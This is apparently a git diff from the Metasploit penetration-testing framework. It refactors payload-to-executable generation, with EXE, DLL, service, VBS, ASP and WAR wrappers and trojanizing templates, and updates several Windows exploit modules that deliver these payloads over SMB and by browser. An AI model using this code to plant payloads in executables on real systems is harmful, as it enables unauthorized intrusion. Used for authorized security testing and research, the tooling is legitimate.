diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index ae7b4a69d4..b250b09e1c 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -1,3 +1,7 @@ +## +# $Id$ +## + require 'msf/base' module Msf @@ -19,9 +23,9 @@ module Buffer def self.transform(buf, fmt = "ruby") case fmt when 'raw' - when 'ruby' + when 'ruby', 'rb' buf = Rex::Text.to_ruby(buf) - when 'perl' + when 'perl', 'pl' buf = Rex::Text.to_perl(buf) when 'c' buf = Rex::Text.to_c(buf) @@ -45,9 +49,9 @@ module Buffer def self.comment(buf, fmt = "ruby") case fmt when 'raw' - when 'ruby' + when 'ruby', 'rb' buf = Rex::Text.to_ruby_comment(buf) - when 'perl' + when 'perl', 'pl' buf = Rex::Text.to_perl_comment(buf) when 'c' buf = Rex::Text.to_c_comment(buf) @@ -62,6 +66,13 @@ module Buffer return buf end + # + # Returns the list of supported formats + # + def self.transform_formats + ['raw','ruby','rb','perl','pl','c','js_be','js_le','java'] + end + end end diff --git a/lib/msf/base/simple/payload.rb b/lib/msf/base/simple/payload.rb index aed76c3082..cf380fe0e0 100644 --- a/lib/msf/base/simple/payload.rb +++ b/lib/msf/base/simple/payload.rb @@ -1,3 +1,7 @@ +## +# $Id$ +## + require 'msf/base' module Msf @@ -52,86 +56,66 @@ module Payload 'Space' => opts['MaxSize']) fmt = opts['Format'] || 'raw' - inject = opts['KeepTemplateWorking'] || false - altexe = opts['Template'] || nil + + exeopts = { + :inject => opts['KeepTemplateWorking'], + :template => opts['Template'], + :template_path => opts['ExeDir'] + } arch = payload.arch + plat = opts['Platform'] || payload.platform # Save off the original payload length len = e.encoded.length - - case fmt - when 'exe' - buf = nil - if(not arch or (arch.index(ARCH_X86))) - buf = Msf::Util::EXE.to_win32pe(framework, e.encoded , {:insert => inject, :template => altexe}) - end + output = Msf::Util::EXE.to_executable_fmt(framework, arch, plat, e.encoded, fmt, exeopts) - if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - buf = Msf::Util::EXE.to_win64pe(framework, e.encoded, {:insert => inject, :template => altexe}) - end - - when 'exe-small' - buf = nil - if(not arch or (arch.index(ARCH_X86))) - buf = Msf::Util::EXE.to_win32pe_old(framework, e.encoded) - end - - when 'elf' - buf = Msf::Util::EXE.to_linux_x86_elf(framework, e.encoded) - when 'macho' - buf = Msf::Util::EXE.to_osx_x86_macho(framework, e.encoded) - when 'vba' - exe = nil - exe = Msf::Util::EXE.to_win32pe(framework, e.encoded , {:insert => inject, :template => altexe}) - buf = Msf::Util::EXE.to_exe_vba(exe) - when 'vbs' - buf = Msf::Util::EXE.to_win32pe_vbs(framework, e.encoded, {:insert => inject, :persist => false, :template => altexe}) - when 'loop-vbs' - buf = Msf::Util::EXE.to_win32pe_vbs(framework, e.encoded, {:insert => inject, :persist => true, :template => altexe}) - when 'asp' - buf = Msf::Util::EXE.to_win32pe_asp(framework, e.encoded , {:insert => inject, :persist => false, :template => altexe}) - when 'war' - plat = Msf::Module::PlatformList.transform(opts['Platform']) - - tmp_plat = plat.platforms - exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, e.encoded, { :template => altexe}) - buf = Msf::Util::EXE.to_jsp_war(exe, {:persist => false }) - else + if not output # Serialize the generated payload to some sort of format - buf = Buffer.transform(e.encoded, fmt) + fmt ||= "ruby" + output = Buffer.transform(e.encoded, fmt) # Prepend a comment if (fmt != 'raw' and opts['NoComment'] != true) ((ou = payload.options.options_used_to_s(payload.datastore)) and ou.length > 0) ? ou += "\n" : ou = '' - buf = Buffer.comment( - "#{payload.refname} - #{len} bytes#{payload.staged? ? " (stage 1)" : ""}\n" + - "http://www.metasploit.com\n" + - ((e.encoder) ? "Encoder: #{e.encoder.refname}\n" : '') + - ((e.nop) ? "NOP gen: #{e.nop.refname}\n" : '') + - "#{ou}", - fmt) + buf + output = + Buffer.comment( + "#{payload.refname} - #{len} bytes#{payload.staged? ? " (stage 1)" : ""}\n" + + "http://www.metasploit.com\n" + + ((e.encoder) ? "Encoder: #{e.encoder.refname}\n" : '') + + ((e.nop) ? "NOP gen: #{e.nop.refname}\n" : '') + + "#{ou}", + fmt) + + output # If it's multistage, include the second stage too if payload.staged? stage = payload.generate_stage - + # If a stage was generated, then display it if stage and stage.length > 0 - buf += + output += "\n" + Buffer.comment( - "#{payload.refname} - #{stage.length} bytes (stage 2)\n" + - "http://www.metasploit.com\n", - fmt) + Buffer.transform(stage, fmt) + "#{payload.refname} - #{stage.length} bytes (stage 2)\n" + + "http://www.metasploit.com\n", + fmt) + + Buffer.transform(stage, fmt) end end - end + + end + end - return buf + # How to warn? + #if exeopts[:fellback] + # $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") + #end + + return output end # diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 6e9e6f69ff..2822fe8669 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -16,24 +16,22 @@ module Exploit::EXE register_advanced_options( [ - OptString.new( 'EXETEMPLATE', [ false, 'The executable template file name.' ]), - OptBool.new( 'EXEINJECT', [ false, 'Set to preserve the original EXE function' ]) + OptString.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), + OptString.new( 'EXE::Template', [ false, 'The executable template file name.' ]), + OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), + OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]) ], self.class) end def generate_payload_exe(opts = {}) - if (altexe = datastore['EXETEMPLATE']) - opts.merge!({ :template => altexe }) - end - if (datastore['EXEINJECT']) - opts.merge!({ :inject => true }) - end + exe_init_datastore(opts) # Prefer the target's platform/architecture information, but use # the module's if no target specific information exists lplat ||= target_platform lplat ||= platform + larch ||= opts[:arch] larch ||= target_arch larch ||= arch @@ -55,7 +53,60 @@ module Exploit::EXE pl = opts[:code] pl ||= payload.encoded - Msf::Util::EXE.to_executable(framework, larch, lplat, pl, opts) + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, pl, opts) + exe_post_generation(opts) + exe + end + + def generate_payload_exe_service(opts = {}) + exe_init_datastore(opts) + + # NOTE: Only Windows is supported here. + pl = opts[:code] + pl ||= payload.encoded + + if opts[:arch] and opts[:arch] == ARCH_X64 + exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) + else + exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) + end + + exe_post_generation(opts) + exe + end + + def generate_payload_dll(opts = {}) + exe_init_datastore(opts) + + # NOTE: Only Windows is supported here. + pl = opts[:code] + pl ||= payload.encoded + + if opts[:arch] and opts[:arch] == ARCH_X64 + dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) + else + dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) + end + + exe_post_generation(opts) + dll + end + +protected + def exe_init_datastore(opts) + opts.merge!( + { + :template_path => datastore['EXE::Path'], + :template => datastore['EXE::Template'], + :inject => datastore['EXE::Inject'], + :fallback => datastore['EXE::FallBack'] + }) + end + + def exe_post_generation(opts) + if (opts[:fellback]) + print_status("Warning: Falling back to default template: #{opts[:fellback]}") + end end end diff --git a/lib/msf/core/rpc/module.rb b/lib/msf/core/rpc/module.rb index d04651d4b9..c9096351cf 100644 --- a/lib/msf/core/rpc/module.rb +++ b/lib/msf/core/rpc/module.rb @@ -1,3 +1,7 @@ +## +# $Id$ +## + module Msf module RPC class Module < Base @@ -141,87 +145,66 @@ class Module < Base authenticate(token) buf = Rex::Text.decode_base64(data) - fmt = options['format'] - if (options['format'] and options['format'] =~ /^(perl|ruby|rb|raw|c|js_le|js_be|java|dll|exe|exe-small|elf|vba|vbs|loop-vbs|asp|war|macho)$/) - fmt = options['format'] - elsif options['format'] - raise ::XMLRPC::FaultException.new(500, "failed to generate: invalid format") + # Load supported formats + supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats + + if (fmt = options['format']) + if not supported_formats.include?(fmt) + raise ::XMLRPC::FaultException.new(500, "failed to generate: invalid format: #{fmt}") + end end + badchars = '' if options['badchars'] badchars = Rex::Text.hex_to_raw(options['badchars']) end + plat = nil if options['plat'] plat = Msf::Module::PlatformList.transform(val) end - inject = false - if options['inject'] - altexe = true - end - altexe = nil - if options['altexe'] - altexe = options['altexe'] - end arch = nil if options['arch'] arch = options['arch'] end + ecount = 1 if options['ecount'] ecount = options['ecount'].to_i end + + exeopts = { + :inject => options['inject'], + :template => options['altexe'], + :template_path => options['exedir'] + } + enc = $framework.encoders.create(encoder) + begin # Imports options enc.datastore.update(options) eout = buf.dup raw = nil - output = nil 1.upto(ecount) do |iteration| # Encode it up raw = enc.encode(eout, badchars, nil, plat) end - case fmt - when 'dll' - output = Msf::Util::EXE.to_win32pe_dll($framework, raw) - when 'exe' - if(not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe}) - end + output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) - if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - output = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe}) - end - when 'exe-small' - if(not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_win32pe_old($framework, raw) - end - when 'elf' - output = Msf::Util::EXE.to_linux_x86_elf($framework, raw) - when 'macho' - output = Msf::Util::EXE.to_osx_x86_macho($framework, raw) - when 'vba' - exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe}) - output = Msf::Util::EXE.to_exe_vba(exe) - when 'vbs' - vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe}) - output = vbs - when 'loop-vbs' - output = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe}) - when 'asp' - output = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe}) - when 'war' - tmp_plat = plat.platforms - exe = Msf::Util::EXE.to_executable($framework, arch, tmp_plat, raw, { :template => altexe}) - output = Msf::Util::EXE.to_jsp_war(exe, { :persist => false }) - else + if not output fmt ||= "ruby" output = Msf::Simple::Buffer.transform(raw, fmt) end + + # How to warn? + #if exeopts[:fellback] + # $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") + #end + {"encoded" => Rex::Text.encode_base64(output.to_s)} rescue => e raise ::XMLRPC::FaultException.new(500, "#{enc.refname} failed: #{e} #{e.backtrace}") diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb index 096ac46d39..3ad3ec0f90 100644 --- a/lib/msf/ui/console/command_dispatcher/payload.rb +++ b/lib/msf/ui/console/command_dispatcher/payload.rb @@ -1,3 +1,7 @@ +## +# $Id$ +## + require 'rex/parser/arguments' module Msf @@ -14,6 +18,9 @@ class Payload include Msf::Ui::Console::ModuleCommandDispatcher + # Load supported formats + supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats + @@generate_opts = Rex::Parser::Arguments.new( "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], "-E" => [ false, "Force encoding." ], @@ -22,8 +29,7 @@ class Payload "-o" => [ true, "A comma separated list of options in VAR=VAL format." ], "-s" => [ true, "NOP sled length." ], "-f" => [ true, "The output file name (otherwise stdout)" ], - "-t" => [ true, "The output type: c, elf, exe, java, js_le, js_be, " + - " perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho." ], + "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], "-p" => [ true, "The Platform for output." ], "-k" => [ false, "Keep the template executable functional" ], "-x" => [ true, "The executable template to use" ], diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 779bd2854d..18076e6baf 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -23,6 +23,45 @@ require 'rex/pescan' require 'rex/zip' require 'metasm' + ## + # + # Helper functions common to multiple generators + # + ## + + def self.set_template_default(opts, exe = nil, path = nil) + # If no path specified, use the default one. + path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") + + # If there's no default name, we must blow it up. + if not exe + raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!' + end + + # Use defaults only if nothing is specified + opts[:template_path] ||= path + opts[:template] ||= exe + + # Only use the path when the filename contains no separators. + if not opts[:template].include?(File::SEPARATOR) + opts[:template] = File.join(opts[:template_path], opts[:template]) + end + + # Check if it exists now + return if File.file?(opts[:template]) + + # If it failed, try the default... + if opts[:fallback] + default_template = File.join(path, exe) + if File.file?(default_template) + # Perhaps we should warn about falling back to the default? + opts.merge!({ :fellback => default_template }) + opts[:template] = default_template + end + end + end + + ## # # Executable generators @@ -78,7 +117,7 @@ require 'metasm' def self.to_win32pe(framework, code, opts={}) # Allow the user to specify their own EXE template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows.exe") + set_template_default(opts, "template_x86_windows.exe") # Copy the code to a new RWX segment to allow for self-modifying encoders payload = win32_rwx_exec(code) @@ -170,7 +209,7 @@ require 'metasm' end if(not text) - raise RuntimeError, "No .text section found in the template_x86_windows.exe" + raise RuntimeError, "No .text section found in the template" end if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) @@ -247,7 +286,7 @@ require 'metasm' # Mangle 25% of the original executable 1.upto(block[1] / 4) do - data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C") + data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C") end # Patch the payload and the new entry point into the .text @@ -280,7 +319,7 @@ require 'metasm' def self.to_win32pe_old(framework, code, opts={}) # Allow the user to specify their own EXE template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows_old.exe") + set_template_default(opts, "template_x86_windows_old.exe") pe = '' File.open(opts[:template], "rb") { |fd| @@ -296,7 +335,7 @@ require 'metasm' end bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE OLD EXE template!" if not bo + raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo pe[bo, code.length] = code pe[136, 4] = [rand(0x100000000)].pack('V') @@ -325,7 +364,7 @@ require 'metasm' def self.to_win64pe(framework, code, opts={}) # Allow the user to specify their own EXE template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe") + set_template_default(opts, "template_x64_windows.exe") pe = '' File.open(opts[:template], "rb") { |fd| @@ -333,7 +372,7 @@ require 'metasm' } bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE EXE template!" if not bo + raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo pe[bo, code.length] = code return pe @@ -344,7 +383,7 @@ require 'metasm' name = opts[:servicename] || 'SERVICENAME' # Allow the user to specify their own service EXE template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows_svc.exe") + set_template_default(opts, "template_x86_windows_svc.exe") pe = '' File.open(opts[:template], 'rb') { |fd| @@ -352,11 +391,11 @@ require 'metasm' } bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE Service EXE template!" if not bo + raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo pe[bo, 8192] = [code].pack("a8192") bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid Win32 PE Service EXE template!" if not bo + raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo pe[bo, 11] = [name].pack('a11') pe[136, 4] = [rand(0x100000000)].pack('V') @@ -367,7 +406,7 @@ require 'metasm' def self.to_win64pe_service(framework, code, opts={}) # Allow the user to specify their own service EXE template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows_svc.exe") + set_template_default(opts, "template_x64_windows_svc.exe") pe = '' File.open(opts[:template], "rb") { |fd| @@ -375,11 +414,11 @@ require 'metasm' } bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE Service EXE template!" if not bo + raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo pe[bo, 8192] = [code].pack("a8192") bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid Win64 PE Service EXE template!" if not bo + raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo pe[bo, 11] = [name].pack('a11') pe[136, 4] = [rand(0x100000000)].pack('V') @@ -390,7 +429,7 @@ require 'metasm' def self.to_win32pe_dll(framework, code, opts={}) # Allow the user to specify their own DLL template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows.dll") + set_template_default(opts, "template_x86_windows.dll") pe = '' File.open(opts[:template], "rb") { |fd| @@ -398,9 +437,31 @@ require 'metasm' } bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE DLL template!" if not bo + raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo pe[bo, 8192] = [code].pack("a8192") + # optional mutex + mt = pe.index('MUTEX!!!') + pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt + + return pe + end + + def self.to_win64pe_dll(framework, code, opts={}) + + # Allow the user to specify their own DLL template + set_template_default(opts, "template_x64_windows.dll") + + pe = '' + File.open(opts[:template], "rb") { |fd| + pe = fd.read(fd.stat.size) + } + + bo = pe.index('PAYLOAD:') + raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo + pe[bo, 8192] = [code].pack("a8192") + + # optional mutex mt = pe.index('MUTEX!!!') pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt @@ -410,7 +471,7 @@ require 'metasm' def self.to_osx_arm_macho(framework, code, opts={}) # Allow the user to specify their own template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_darwin.bin") + set_template_default(opts, "template_armle_darwin.bin") mo = '' File.open(opts[:template], "rb") { |fd| @@ -418,20 +479,16 @@ require 'metasm' } bo = mo.index('PAYLOAD:') - raise RuntimeError, "Invalid OSX ArmLE Mach-O template!" if not bo + raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo mo[bo, code.length] = code - # Not used? - #co = mo.index('COMMENT:') - #mo[co, comment.length] = comment - return mo end def self.to_osx_ppc_macho(framework, code, opts={}) # Allow the user to specify their own template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_ppc_darwin.bin") + set_template_default(opts, "template_ppc_darwin.bin") mo = '' File.open(opts[:template], "rb") { |fd| @@ -439,20 +496,16 @@ require 'metasm' } bo = mo.index('PAYLOAD:') - raise RuntimeError, "Invalid OSX PPC Mach-O template!" if not bo + raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo mo[bo, code.length] = code - # Not used? - #co = mo.index('COMMENT:') - #mo[co, comment.length] = comment - return mo end def self.to_osx_x86_macho(framework, code, opts={}) # Allow the user to specify their own template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_darwin.bin") + set_template_default(opts, "template_x86_darwin.bin") mo = '' File.open(opts[:template], "rb") { |fd| @@ -460,20 +513,16 @@ require 'metasm' } bo = mo.index('PAYLOAD:') - raise RuntimeError, "Invalid OSX x86 Mach-O template!" if not bo + raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo mo[bo, code.length] = code - # Not used? - #co = mo.index('COMMENT:') - #mo[co, comment.length] = comment - return mo end def self.to_linux_x86_elf(framework, code, opts={}) # Allow the user to specify their own template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_linux.bin") + set_template_default(opts, "template_x86_linux.bin") elf = '' File.open(opts[:template], "rb") { |fd| @@ -499,7 +548,7 @@ require 'metasm' def self.to_linux_armle_elf(framework, code, opts={}) # Allow the user to specify their own template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_linux.bin") + set_template_default(opts, "template_armle_linux.bin") elf = '' File.open(opts[:template], "rb") { |fd| @@ -780,13 +829,13 @@ require 'metasm' manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" web_xml = %q{ +"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" +"http://java.sun.com/dtds/web-app_2_3.dtd"> - - NAME - /PAYLOAD.jsp - + +NAME +/PAYLOAD.jsp + } web_xml.gsub!(/NAME/, app_name) @@ -903,7 +952,7 @@ require 'metasm' def self.to_dotnetmem(base=0x12340000, data="", opts={}) # Allow the user to specify their own DLL template - opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "dotnetmem.dll") + set_template_default(opts, "dotnetmem.dll") pe = '' File.open(opts[:template], "rb") { |fd| @@ -1389,6 +1438,76 @@ require 'metasm' res end + + # + # This routine is shared between msfencode, rpc, and payload modules (use ) + # + # It will return nil if it wasn't able to generate any output. + # + def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) + + output = nil + + case fmt + when 'dll' + if (not arch or (arch.index(ARCH_X86))) + output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts) + end + + if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) + output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts) + end + + when 'exe' + if (not arch or (arch.index(ARCH_X86))) + output = Msf::Util::EXE.to_win32pe(framework, code, exeopts) + end + + if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) + output = Msf::Util::EXE.to_win64pe(framework, code, exeopts) + end + + when 'exe-small' + if(not arch or (arch.index(ARCH_X86))) + output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) + end + + when 'elf' + output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts) + + when 'macho' + output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts) + + when 'vba' + exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts) + output = Msf::Util::EXE.to_exe_vba(exe) + + when 'vbs' + output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false })) + + when 'loop-vbs' + output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true })) + + when 'asp' + output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts) + + when 'war' + arch ||= [ ARCH_X86 ] + tmp_plat = plat.platforms if plat + tmp_plat ||= Msf::Module::PlatformList.transform('win') + exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) + output = Msf::Util::EXE.to_jsp_war(exe) + + end + + output + end + + def self.to_executable_fmt_formats + ['dll','exe','exe-small','elf','macho','vba','vbs','loop-vbs','asp','war'] + end + + end end end diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb index 4a423cf05e..63162356be 100644 --- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb +++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb @@ -18,6 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, @@ -175,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote return if ((p = regenerate_payload(cli)) == nil) # Generate a DLL based on the payload - dll_data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded) + dll_data = generate_payload_dll({ :code => p.encoded }) # Send it :) send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' }) diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb index 8d13acb80a..1e82065639 100644 --- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb @@ -18,6 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, @@ -96,8 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote if (request.uri =~ /\.dll$/i) print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..." return if ((p = regenerate_payload(cli)) == nil) - # Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/ - data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded) + data = generate_payload_dll({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb index d710a9d08e..f49fb90e6d 100644 --- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb +++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb @@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote if (request.uri =~ /\.(dll|dl|drv|cpl)$/i) print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload") return if ((p = regenerate_payload(cli)) == nil) - data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded) + data = generate_payload_dll({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 8c668d7725..d0bb208629 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report + include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, @@ -130,18 +131,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Uploading payload...") simple.connect("ADMIN$") fd = simple.open("\\#{filename}", 'rwct') + exe = '' + opts = { :servicename => servicename } if (datastore['PAYLOAD'].include? 'x64') - exe = Msf::Util::EXE.to_win64pe_service(framework, payload.encoded, - { - :servicename => servicename - }) - else - exe = Msf::Util::EXE.to_win32pe_service(framework, payload.encoded, - { - :servicename => servicename - }) + opts.merge!({ :arch => ARCH_X64 }) end + exe = generate_payload_exe_service(opts) + fd << exe fd.close diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 292468d447..5463c601f6 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, @@ -138,13 +139,25 @@ class Metasploit3 < Msf::Exploit::Remote # Upload the shellcode to a file print_status("Uploading payload...") + filename = rand_text_alpha(8) + ".exe" + servicename = rand_text_alpha(8) + fd = rclient.open("\\#{filename}", 'rwct') - fd << Msf::Util::EXE.to_win32pe_service(framework, code.encoded, - { - :servicename => rand_text_alpha(8) - }) + + exe = '' + opts = { + :servicename => servicename, + :code => code.encoded + } + if (datastore['PAYLOAD'].include? 'x64') + opts.merge!({ :arch => ARCH_X64 }) + end + exe = generate_payload_exe_service(opts) + + fd << exe fd.close + print_status("Created \\#{filename}...") # Disconnect from the ADMIN$ diff --git a/msfencode b/msfencode index 550f92eac6..622141a65f 100755 --- a/msfencode +++ b/msfencode @@ -19,22 +19,32 @@ require 'msf/base' OutStatus = "[*] " OutError = "[-] " +# Load supported formats +supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats + $args = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-l" => [ false, "List available encoders" ], + # input/output "-i" => [ true, "Encode the contents of the supplied file path" ], "-m" => [ true, "Specifies an additional module search path" ], + "-o" => [ true, "The output file" ], + # architecture/platform "-a" => [ true, "The architecture to encode as" ], "-p" => [ true, "The platform to encode for" ], - "-t" => [ true, "The format to display the encoded buffer with (c, dll, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)" ], + # format options + "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], + # encoder options + "-e" => [ true, "The encoder to use" ], + "-n" => [ false, "Dump encoder information" ], "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], "-s" => [ true, "The maximum size of the encoded data" ], - "-e" => [ true, "The encoder to use" ], - "-o" => [ true, "The output file" ], "-c" => [ true, "The number of times to encode the data" ], - "-n" => [ false, "Dump encoder information" ], - "-h" => [ false, "Help banner" ], - "-x" => [ true, "Specify an alternate win32 executable template" ], - "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ], - "-l" => [ false, "List available encoders" ]) + # EXE generation options + "-d" => [ true, "Specify the directory in which to look for EXE templates" ], + "-x" => [ true, "Specify an alternate executable template" ], + "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ] +) # # Dump the list of encoders @@ -109,9 +119,11 @@ options = '' delim = '_|_' output = nil ecount = 1 +plat = nil + altexe = nil inject = false -plat = nil +exedir = nil 